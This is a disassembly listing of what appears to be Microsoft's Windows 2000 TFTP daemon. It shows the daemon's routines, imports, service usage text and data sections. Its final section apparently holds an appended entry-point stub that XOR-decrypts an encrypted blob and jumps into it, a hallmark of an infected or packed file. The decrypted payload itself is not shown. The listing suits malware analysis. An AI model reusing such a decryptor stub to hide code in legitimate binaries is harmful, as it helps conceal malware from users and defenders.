loc_10038F6: ; CODE XREF: sub_10037BF+12Dj
cmp [ebp+Type], 1
jnz short loc_10038FF
inc [ebp+var_4]
loc_10038FF: ; CODE XREF: sub_10037BF+135j
; sub_10037BF+13Bj
push [ebp+hKey] ; hKey
call ds:RegCloseKey ; RegCloseKey
mov eax, [ebp+var_4]
pop esi
pop edi
loc_100390D: ; CODE XREF: sub_10037BF+32j
pop ebx
leave
retn
sub_10037BF endp
; =============== S U B R O U T I N E =======================================
sub_1003910 proc near ; CODE XREF: sub_1001665+193p
Dst = byte ptr -1F4h
sub esp, 1F4h
cmp byte ptr dword_1005E07+1, 0
push ebx
push ebp
push esi
push edi
mov ebp, 1F4h
mov ebx, (offset dword_1005E07+1)
jnz short loc_100393D
push ebp ; Count
push offset Source ; "\\tftpdroot\\"
push ebx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
loc_100393D: ; CODE XREF: sub_1003910+1Bj
lea eax, [esp+204h+Dst]
push ebp ; nSize
push eax ; lpDst
push ebx ; lpSrc
call ds:ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA
test eax, eax
jnz short loc_1003952
push 57h
jmp short loc_10039CA
; ---------------------------------------------------------------------------
loc_1003952: ; CODE XREF: sub_1003910+3Cj
mov ecx, eax
lea esi, [esp+204h+Dst]
mov edi, ebx
or edx, 0FFFFFFFFh
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebx
mov ecx, edx
repne scasb
not ecx
dec ecx
cmp byte ptr dword_1005E07[ecx], 2Fh
lea eax, dword_1005E07[ecx]
jnz short loc_1003986
mov byte ptr [eax], 5Ch
loc_1003986: ; CODE XREF: sub_1003910+71j
cmp byte ptr [eax], 5Ch
jz short loc_10039B7
cmp ecx, ebp
jnb short loc_10039B7
mov edi, offset asc_100155C ; "\\"
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
mov ecx, edx
repne scasb
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd
mov ecx, ebp
and ecx, 3
rep movsb
loc_10039B7: ; CODE XREF: sub_1003910+79j
; sub_1003910+7Dj
mov edi, ebx
mov ecx, edx
xor eax, eax
push 1
repne scasb
not ecx
dec ecx
mov dword_1005FFC, ecx
loc_10039CA: ; CODE XREF: sub_1003910+40j
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 1F4h
retn
sub_1003910 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10039D6 proc near ; CODE XREF: sub_1002F31+148p
; sub_1002F31+159p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push edi
mov al, [esi]
test al, al
jz short loc_1003A2E
cmp al, 2Ah
jz short loc_1003A04
cmp al, 3Fh
jz short loc_10039F7
mov ecx, [ebp+arg_4]
cmp al, [ecx]
jnz short loc_1003A25
inc ecx
push ecx
jmp short loc_1003A01
; ---------------------------------------------------------------------------
loc_10039F7: ; CODE XREF: sub_10039D6+14j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jz short loc_1003A25
inc eax
push eax
loc_1003A01: ; CODE XREF: sub_10039D6+1Fj
inc esi
jmp short loc_1003A1B
; ---------------------------------------------------------------------------
loc_1003A04: ; CODE XREF: sub_10039D6+10j
mov edi, [ebp+arg_4]
lea eax, [esi+1]
push edi
push eax
call sub_10039D6
test eax, eax
jnz short loc_1003A29
cmp [edi], al
jz short loc_1003A25
inc edi
push edi
loc_1003A1B: ; CODE XREF: sub_10039D6+2Cj
push esi
call sub_10039D6
test eax, eax
jnz short loc_1003A29
loc_1003A25: ; CODE XREF: sub_10039D6+1Bj
; sub_10039D6+27j ...
xor eax, eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A29: ; CODE XREF: sub_10039D6+3Dj
; sub_10039D6+4Dj
push 1
pop eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A2E: ; CODE XREF: sub_10039D6+Cj
mov ecx, [ebp+arg_4]
xor eax, eax
cmp [ecx], al
setz al
loc_1003A38: ; CODE XREF: sub_10039D6+51j
; sub_10039D6+56j
pop edi
pop esi
pop ebp
retn 8
sub_10039D6 endp
; [00000006 BYTES: COLLAPSED FUNCTION _chkstk. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NotifyAddrChange. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetIpAddrTable. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_1001560
push offset loc_1003BF0
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov dword ptr [ebp-4], 0
push 1
call ds:__set_app_type ; __set_app_type
add esp, 4
mov dword_10062D0, 0FFFFFFFFh
mov dword_10062D4, 0FFFFFFFFh
call ds:__p__fmode ; __p__fmode
mov ecx, dword_100600C
mov [eax], ecx
call ds:__p__commode ; __p__commode
mov edx, dword_1006008
mov [eax], edx
mov eax, ds:_adjust_fdiv
mov ecx, [eax]
mov dword_10062D8, ecx
call nullsub_2
mov eax, dword_1005DC4
test eax, eax
jnz short loc_1003AE1
push offset loc_1003BD0
call ds:__setusermatherr ; __setusermatherr
add esp, 4
loc_1003AE1: ; CODE XREF: .text:01003AD1j
call sub_1003BB0
push offset dword_100500C
push offset dword_1005008
call _initterm ; _initterm
add esp, 8
mov edx, dword_1006004
mov [ebp-28h], edx
lea eax, [ebp-28h]
push eax
mov ecx, dword_1006000
push ecx
lea edx, [ebp-20h]
push edx
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-1Ch]
push ecx
call ds:__getmainargs ; __getmainargs
add esp, 14h
push offset dword_1005004
push offset dword_1005000
call _initterm ; _initterm
add esp, 8
call ds:__p___initenv ; __p___initenv
mov edx, [ebp-20h]
mov [eax], edx
mov eax, [ebp-20h]
push eax
mov ecx, [ebp-2Ch]
push ecx
mov edx, [ebp-1Ch]
push edx
call sub_1001570
; ---------------------------------------------------------------------------
add esp, 0Ch
mov [ebp-24h], eax
push eax
call ds:exit ; exit
; ---------------------------------------------------------------------------
jmp short loc_1003B80
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-30h], ecx
push eax
push ecx
call _XcptFilter ; _XcptFilter
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov edx, [ebp-30h]
push edx
call ds:_exit ; _exit
; ---------------------------------------------------------------------------
loc_1003B80: ; CODE XREF: .text:01003B5Cj
add esp, 4
mov dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION _XcptFilter. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
sub_1003BB0 proc near ; CODE XREF: .text:loc_1003AE1p
push 30000h ; Mask
push 10000h ; NewValue
call _controlfp ; _controlfp
add esp, 8
retn
sub_1003BB0 endp
; ---------------------------------------------------------------------------
align 10h
loc_1003BD0: ; DATA XREF: .text:01003AD3o
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
align 10h
loc_1003BF0: ; DATA XREF: .text:01003A5Ao
jmp ds:_except_handler3
; [00000006 BYTES: COLLAPSED FUNCTION _controlfp. PRESS KEYPAD "+" TO EXPAND]
dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh)
dd 4012h, 101Ch, 3C88h, 2 dup(0FFFFFFFFh), 40A2h, 1000h
dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh)
dd 41A2h, 1138h, 3D04h, 2 dup(0FFFFFFFFh), 42F6h, 107Ch
dd 5 dup(0)
dd 4092h, 4020h, 407Eh, 4070h, 4052h, 403Eh, 0
dd 3E6Ch, 3FF6h, 3FE6h, 3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah
dd 3E8Ah, 3EA0h, 3EB0h, 3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch
dd 3F24h, 3F3Ch, 3F56h, 3F62h, 3F70h, 3F78h, 3F92h, 0
dd 4282h, 4272h, 428Eh, 4230h, 4226h, 421Eh, 4214h, 420Ah
dd 4200h, 41F8h, 41F0h, 41E6h, 41DCh, 41D2h, 41CAh, 41C2h
dd 4302h, 42E2h, 42D0h, 42C2h, 42B2h, 42A2h, 41B8h, 4262h
dd 4254h, 424Ch, 423Ah, 4242h, 41B0h, 0
dd 3E52h, 8000006Fh, 80000073h, 3E08h, 80000009h, 3E1Ah
dd 8000000Fh, 3E34h, 8000000Ah, 3E42h, 80000003h, 8000000Ch
dd 80000002h, 80000037h, 80000017h, 80000014h, 0
dd 417Ch, 4190h, 0
dd 4126h, 4168h, 415Eh, 4154h, 4142h, 4130h, 411Ah, 4112h
dd 410Ah, 40F4h, 40EAh, 40D4h, 40B0h, 40C2h, 0
dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h
aWsagetoverlapp db 'WSAGetOverlappedResult',0
align 4
a2 db '2',0
aWsarecvfrom db 'WSARecvFrom',0
dw 0Fh
aWsacloseevent db 'WSACloseEvent',0
db '=',0
aWsasocketa db 'WSASocketA',0
align 10h
aWs2_32_dll db 'WS2_32.dll',0
align 4
aM db 'Œ',0
aExitprocess db 'ExitProcess',0
dw 12Dh
aGetlasterror db 'GetLastError',0
align 2
dw 2FDh
aWaitforsingleo db 'WaitForSingleObject',0
a4 db '4',0
aCreateeventa db 'CreateEventA',0
align 10h
db 0C5h ; Å
db 1, 49h, 6Eh
aItializecritic db 'itializeCriticalSection',0
dd 654801B6h, 72437061h, 65746165h, 1DE0000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
dw 1BAh
aHeapfree db 'HeapFree',0
align 2
dw 1Eh
aClosehandle db 'CloseHandle',0
aO db 'o',0
aEntercriticals db 'EnterCriticalSection',0
align 4
retf
; ---------------------------------------------------------------------------
db 1, 49h, 6Eh
aTerlockedincre db 'terlockedIncrement',0
align 4
db 0FBh ; û
db 2, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 1B4h
aHeapalloc db 'HeapAlloc',0
dw 252h
aResetevent db 'ResetEvent',0
align 10h
retn
; ---------------------------------------------------------------------------
db 2, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 0D8h ; Ø
db 2, 54h, 72h
aYentercritical db 'yEnterCriticalSection',0
dw 2C5h
aSuspendthread db 'SuspendThread',0
dw 254h
aResumethread db 'ResumeThread',0
db 0, 90h, 2
aSetevent db 'SetEvent',0
align 2
dw 29Ch
aSetlasterror db 'SetLastError',0
align 2
aZ db 'Z',0
aDeletecritical db 'DeleteCriticalSection',0
dw 12Fh
aGetlocaltime db 'GetLocalTime',0
align 2
aP db '',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
aKernel32_dll db 'KERNEL32.dll',0
align 10h
db 0E5h ; å
db 1, 53h, 74h
aArtservicectrl db 'artServiceCtrlDispatcherA',0
dw 1DFh
aSetservicestat db 'SetServiceStatus',0
align 2
dw 1B9h
aRegisterservic db 'RegisterServiceCtrlHandlerA',0
db 84h ; „
db 1, 52h, 65h
aGclosekey db 'gCloseKey',0
dw 1A7h
aRegqueryvaluee db 'RegQueryValueExA',0
align 2
dw 19Dh
aRegopenkeyexa db 'RegOpenKeyExA',0
aAdvapi32_dll db 'ADVAPI32.dll',0
align 10h
db 50h ; P
db 2, 52h, 74h
aLregisterwait db 'lRegisterWait',0
dw 184h
aRtlcreatetimer db 'RtlCreateTimer',0
align 4
db 85h ; …
db 1, 52h, 74h
aLcreatetimerqu db 'lCreateTimerQueue',0
dw 42Eh
a_chkstk db '_chkstk',0
db 0A1h ; ¡
db 1, 52h, 74h
aLderegisterwai db 'lDeregisterWaitEx',0
dw 433h
a_itoa db '_itoa',0
dw 450h
aAtoi db 'atoi',0
align 2
dw 43Dh
a_stricmp db '_stricmp',0
align 2
dw 46Dh
aMemmove db 'memmove',0
dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h
dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch
dd 45F0072h, 70757369h, 726570h, 7473047Dh, 70636E72h
dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h
dd 72646441h, 6E616843h, 6567h, 65470022h, 41704974h, 54726464h
dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h
dd 7469h, 7270029Bh, 66746E69h, 2430000h, 6D697463h, 2540065h
dd 65706F66h, 17F006Eh, 646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h
dd 0AA0000h, 6468635Fh, 7269h, 697402CDh, 656Dh, 7266025Bh
dd 6565h, 63660249h, 65736F6Ch, 2A40000h, 6C616572h, 636F6Ch
dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h
dd 6F6C635Fh, 6573h, 6C5F0141h, 6B656573h, 1840000h, 65706F5Fh
dd 214006Eh, 6972775Fh, 6574h, 655F00D0h, 746978h, 585F0048h
dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh
dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh
dd 10C0073h, 696E695Fh, 72657474h, 82006Dh, 65735F5Fh
dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh
dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh
dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h
dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh
dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h
dd 6C6C642Eh, 0B40000h, 6E6F635Fh, 6C6F7274h, 7066h, 3Ch dup(0)
_text ends
; Section 2. (virtual address 00005000)
; Virtual size : 000012DC ( 4828.)
; Section size in file : 00000E00 ( 3584.)
; Offset to raw data for section: 00003A00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 1005000h
dword_1005000 dd 0 dword_1005004 dd 0 dword_1005008 dd 0 dword_100500C dd 0 ; char Format[]
Format db ' ================================================================'
; DATA XREF: sub_1001570+4Do
db '======== ',0Ah
db 'Abstract: '
db ' ',0Ah
db ' This implements an RFC 783 tftp daemon. '
db ' ',0Ah
db ' It listens on port 69 for requests '
db ' ',0Ah
db ' and spawns a thread to process each request. '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'TFTPD USAGE and Installation: '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' md d:/tftpd (the StartDirec'
db 'tory). ',0Ah
db ' copy //MohsinA_p90/test/tftpd.exe . '
db ' ',0Ah
db ' sc create tftpd binPath= d:/tftpd/tftpd.exe (give full path'
db '). ',0Ah
db ' sc query tftpd (check if insta'
db 'lled). ',0Ah
db ' '
db ' ',0Ah
db 'Start: '
db ' ',0Ah
db ' sc start tftpd -f (creates a log '
db 'file). ',0Ah
db 'or sc start tftpd '
db ' ',0Ah
db 'or net start tftpd '
db ' ',0Ah
db 'or sc start tftpd [-dStartDirectory] [-e] [-f] '
db ' ',0Ah
db ' Options: -e use event log. '
db ' ',0Ah
db ' -f log to file. '
db ' ',0Ah
db ' -dStartDirectory '
db ' ',0Ah
db 'Info: '
db ' ',0Ah
db ' sc interrogate tftpd (logs will be updated). '
db ' ',0Ah
db ' sc query tftpd Check whether running. '
db ' ',0Ah
db 'Stop: '
db ' ',0Ah
db ' sc stop tftpd '
db ' ',0Ah
db ' net stop tftpd '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'Variables that control what files can be read/written and by whom'
db ': ',0Ah
db ' StartDirectory - only files there will be accessible. '
db ' ',0Ah
db ' LogFile is created here. '
db ' ',0Ah
db ' ValidClients - Clients matching this ip address can read files'
db '. ',0Ah
db ' eg. you can set it to "157.55.8?.*" '
db ' ',0Ah
db ' ValidMasters - clients matching this can write and read file'
db 's. ',0Ah
db ' eg. you can set it to "" and no one can write'
db '. ',0Ah
db ' ValidReadFiles - only matching files will be served out, eg. "'
db 'r*.t?t"',0Ah
db ' ValidWriteFiles- only matching files will be accepted, eg. "w'
db '*.txt" ',0Ah
db ' '
db ' ',0Ah
db 'Client: '
db ' ',0Ah
db ' tftp [-i] servername {get|put} src_file dest_file '
db ' ',0Ah
db ' -i from binary mode, else ascii mode is used. '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' ================================================================'
db '======== ',0Ah,0
align 8
; char ServiceName[]
ServiceName db 'Tftpd',0 ; DATA XREF: sub_1001665+Bo
; .data:ServiceStartTableo
align 10h
; SERVICE_TABLE_ENTRYA ServiceStartTable
ServiceStartTable SERVICE_TABLE_ENTRYA <offset ServiceName, offset sub_1001665>
; DATA XREF: sub_1001570:loc_1001646o
; "Tftpd"
align 10h
off_1005CC0 dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r
; "Error undefined"
dd offset aFileNotFound ; "File not found"
dd offset aAccessViolatio ; "Access violation"
dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded"
dd offset aIllegalTftpOpe ; "Illegal TFTP operation"
dd offset aUnknownTransfe ; "Unknown transfer ID"
dd offset aFileAlreadyExi ; "File already exists"
dd offset aNoSuchUser ; "No such user"
dd offset aOptionNegotiat ; "Option negotiation failure"
align 8
; BYTE Data
Data db 2Ah ; DATA XREF: sub_1002F31+143o
; sub_10037BF+87o
align 4
dd 0Dh dup(0)
; BYTE byte_1005D20
byte_1005D20 db 2Ah ; DATA XREF: sub_1002F31+154o
; sub_100333A+163o ...
align 4
dd 0Dh dup(0)
; BYTE byte_1005D58
byte_1005D58 db 2Ah ; DATA XREF: sub_1002F31+165o
; sub_10037BF+EAo
align 4
dd 0Dh dup(0)
; BYTE byte_1005D90
byte_1005D90 db 2Ah ; DATA XREF: sub_100333A+178o
; sub_10037BF+11Ao
align 4
dd 0Ch dup(0)
dword_1005DC4 dd 1 align 10h
; FILE *File
File dd 0 ; DATA XREF: sub_1001665+1E5w
; sub_1001E73:loc_1001F36r ...
dword_1005DD4 dd 0 dword_1005DD8 dd 0 ; sub_1001665:loc_100182Er ...
; HANDLE hHandle
hHandle dd 0 ; DATA XREF: sub_1001665+84w
; sub_1001665+8Br ...
; HANDLE hObject
hObject dd 0 ; DATA XREF: sub_1001665+91w
; sub_1001E73:loc_1001F0Cr ...
align 8
; volatile LONG Addend
Addend dd 0 ; DATA XREF: sub_1001A91+26Eo
; sub_1001A91+2B3o
; HANDLE hHeap
hHeap dd 0 ; DATA XREF: sub_10019F0+29w
; sub_1001A1F+52r ...
dword_1005DF0 dd 0 ; sub_1001A1F+5Ew ...
dword_1005DF4 dd 0 ; sub_1001A91+59w ...
dword_1005DF8 dd 0 ; sub_10018DB+EFr
dword_1005DFC dd 0 ; HANDLE Handle
Handle dd ? ; DATA XREF: sub_10018DB+F4o
; sub_1002219+D5o
db 3 dup(?)
dword_1005E07 dd ? ; sub_1003910+6Br ...
align 4
dd 7Ch dup(?)
dword_1005FFC dd ? dword_1006000 dd ? dword_1006004 dd ? dword_1006008 dd ? dword_100600C dd ? dd 4 dup(?)
; struct _RTL_CRITICAL_SECTION stru_1006020
stru_1006020 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+14o
; .text:01001D78o ...
; void *Memory
Memory dd ? ; DATA XREF: sub_10018DB+2Ao
; sub_10018DB+34w ...
dword_100603C dd ? ; HANDLE hThread
hThread dd ? ; DATA XREF: HandlerProc:loc_1001E1Dr
; HandlerProc:loc_1001E35r
; SERVICE_STATUS_HANDLE hServiceStatus
hServiceStatus dd ? ; DATA XREF: sub_1001665+52w
; sub_1001665+DBr ...
dword_1006048 dd 6 dup(?) ; struct _RTL_CRITICAL_SECTION stru_1006060
stru_1006060 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10019F0+5o
; sub_1001A1F+2o ...
; LPVOID lpMem
lpMem dd ? ; DATA XREF: sub_10019F0o
; sub_10019F0+Fw ...
dword_100607C dd ? ; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+Do
; sub_100287F+1o ...
dword_1006098 dd ? ; sub_10018DB+25w ...
dword_100609C dd ? dword_10060A0 dd ? ; sub_10018DB+A2r ...
dd 7 dup(?)
; time_t Time
Time dq ? ; DATA XREF: sub_1001665+10Ao
; sub_1001665:loc_1001857o ...
dword_10060C8 dd ? dword_10060CC dd ? dd 0Ch dup(?)
; struct _OVERLAPPED overlapped
overlapped _OVERLAPPED <?> ; DATA XREF: sub_10018DB+E0o
; sub_1002219:loc_10022E9o
align 10h
; struct _SERVICE_STATUS ServiceStatus
ServiceStatus _SERVICE_STATUS <?> ; DATA XREF: sub_1001665+10w
; sub_1001665+63o ...
align 10h
; struct WSAData stru_1006140
stru_1006140 WSAData <?> ; DATA XREF: sub_1001665+9Co
dword_10062D0 dd ? dword_10062D4 dd ? dword_10062D8 dd ? align 200h
_data ends
; Section 3. (virtual address 00007000)
; Virtual size : 0000D400 ( 54272.)
; Section size in file : 00004400 ( 17408.)
; Offset to raw data for section: 00004800
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_rsrc segment para public 'CODE' use32
assume cs:_rsrc
;org 1007000h
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
dd 3 dup(0)
dd 10000h, 10h, 80000018h, 3 dup(0)
dd 10000h, 1, 80000030h, 3 dup(0)
dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0)
dd 340374h, 560000h, 5F0053h, 450056h, 530052h, 4F0049h
dd 5F004Eh, 4E0049h, 4F0046h, 0
dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h
dd 3Fh, 0
dd 40004h, 1, 3 dup(0)
dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
dd 66006Eh, 6Fh, 2B0h, 300001h, 300034h, 300039h, 420034h
dd 30h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
dd 65006Dh, 0
aMicrosoftCorpo:
unicode 0, <Microsoft Corporation>,0
aR:
unicode 0, <r%>
dd 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h
dd 690074h, 6E006Fh, 0
aTcpIpTrivialFi:
unicode 0, <TCP/IP Trivial file transfer daemon.>,0
align 4
a8 db '8',0
dw 0Ch
dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh
dd 0
a5_00_2134_1:
unicode 0, <5.00.2134.1>,0
a4_0:
unicode 0, <4>
dw 0Ah
dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h
dd 65h, 660074h, 700074h, 2E0064h, 780065h, 65h, 280074h
dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h, 690072h
dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h
dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh, 66006Fh
dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h, 310038h
dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h
dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h, 65h, 660074h
dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h
dd 750064h, 740063h, 61004Eh, 65006Dh, 0
aMicrosoftRWind:
unicode 0, <Microsoft(R) Windows (R) 2000 Operating System>,0
align 4
db '<',0
dw 0Ch
dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h
dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h
dd 31h, 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h
dd 6F0066h, 0
dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
dd 6E006Fh, 0
dd 4B00409h, 0Bh dup(0)
assume ds:_data
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near
push ebp
mov ebp, esp
call sub_1007412
call sub_10074B0
jmp loc_1007464
start endp
; =============== S U B R O U T I N E =======================================
sub_1007412 proc near ; CODE XREF: start+3p
; FUNCTION CHUNK AT 010074D7 SIZE 00000005 BYTES
push dword ptr fs:0
mov fs:0, esp
xor ebx, ebx
push ebx
push 80000000h
push 80000000h
push ebx
push 80000000h
push 10000h
push 80000000h
push ebx ; dwMilliseconds
push ebx ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
xor eax, eax
push 80000000h
push 100h
push 2000h
push 80000000h
push eax
push eax
push eax
push eax ; dwMilliseconds
push eax ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
loc_1007464: ; CODE XREF: start+Dj
sub eax, eax
loc_1007466: ; CODE XREF: sub_1007412+5Aj
dec al
or al, al
jz short loc_1007470
jnz short loc_1007466
jmp short loc_10074D7
; ---------------------------------------------------------------------------
loc_1007470: ; CODE XREF: sub_1007412+58j
call sub_10074AC
add edx, 198Bh
mov edi, 24F9h
and ecx, 0
or ecx, 35h
push edx
loc_100748A: ; CODE XREF: sub_1007412+85j
mov al, [edx]
xor ax, cx
xchg al, [edx]
add edx, 1
dec edi
or edi, edi
jnz short loc_100748A
pop edx
mov esp, fs:0
pop dword ptr fs:0
pop ecx
pop ebp
jmp edx
sub_1007412 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_10074AC proc near ; CODE XREF: sub_1007412:loc_1007470p
pop edx
push edx
retn
sub_10074AC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_10074B0 proc near ; CODE XREF: start+8p
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
xor eax, eax
pop dword ptr [edx+0B8h]
retn
sub_10074B0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0A3h, 75h, 6
dd 9F58B886h, 0BB34A0CEh, 0B2228A42h, 0B609913Fh, 7BE6640Ch
db 0D7h, 1Dh, 0F7h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_1007412
loc_10074D7: ; CODE XREF: sub_1007412+5Cj
aam 64h
mov al, 45h
iret
; END OF FUNCTION CHUNK FOR sub_1007412
; ---------------------------------------------------------------------------
dd 8BDC15E7h, 7FF871E6h, 0E87BE145h, 0D951E147h, 0D329A95Ah
dd 66BE1E09h, 4BAD79F3h, 23A3F192h, 833935AEh, 0A0A1D5C5h
dd 84A49219h, 0D7390597h, 0BCEC201Eh, 0CF4B00BFh, 0C3C15E56h
dd 780B967h, 36B0B00Dh, 0BCB831EAh, 1BC17D63h, 0B1A769E2h
dd 0D31EC97Bh, 1AA1A01Ah, 0CB0494A6h, 0F2036CDFh, 0CA4FF52Eh
dd 3638AC07h, 18052DE6h, 57D3AE2Ah, 0CE6C3ADEh, 8F48951Bh
dd 0C13EE817h, 13D54632h, 0EC5C9567h, 16AB1DDh, 5B80EC0Bh
dd 0D535A0A2h, 0B8CC05AAh, 8D4DE2DDh, 8B043DE2h, 8EC40CEDh
dd 2BFDB56Eh, 0BDCDE55h, 7074ED66h, 57FA1DC5h, 33C4E69Dh
dd 0C6C041AAh, 2BCDC553h, 0D90211F2h, 0A376950Eh, 951C24D5h
dd 1BD1CD06h, 0F4586D6Dh, 9E1B057Eh, 6FB8212Fh, 0F22BB6B6h
dd 67E05E53h, 93FC986Fh, 0A95914Ah, 0BB74BCEAh, 35AF6CB1h
dd 784C09DDh, 3C806B86h, 0BE294456h, 47802399h, 9F57FE3Dh
dd 81E82663h, 0F3439141h, 0B731A921h, 0FAD450C1h, 2BEBE11Ah
dd 4447856h, 27A2C016h, 43D6A2AEh, 5FB050A0h, 13746DE2h
dd 97118902h, 9AB430E1h, 0FCDC17Ah, 0E9D85959h, 7EAF972h
dd 239C7DDEh, 3FD231AEh, 0CD8A507h, 1FA06888h, 930D85FFh
dd 86B034E5h, 0C12CBD76h, 1860D852h, 43556DFBh, 1F9DF98Ah
dd 0B05D2DA6h, 3DD049C0h, 790F3CDEh, 1AF78B90h, 0AB64B70Ah
dd 448348D9h, 0A37569F3h, 7B77F16Ah, 1B940FE8h, 37B02F4Ah
dd 17980BBEh, 90E82D96h, 0CB2DA963h, 0FD951412h, 0F03CF539h
dd 0F3E55C83h, 4A74AD4Ch, 0B2789A8Eh, 0B0AC259Ch, 0FE21907h
dd 0EFEB5DD6h, 87007BC8h, 892C1085h, 0CFC7B16Ah, 2CD14247h
dd 7670A94Ah, 53A4F2C3h, 2F57DE9Ah, 504332B6h, 0ECE059D0h
dd 0C3D6416Bh, 9E686E0Ah, 927028A9h, 6AD1C902h, 0F32CCC1Ah
dd 0F88FE85h, 2A589A99h, 0CA4B39B2h, 639C7FF6h, 0E076809h
dd 0CA910207h, 3630E90Bh, 93659483h, 0EF971E5Ah, 0D003F276h
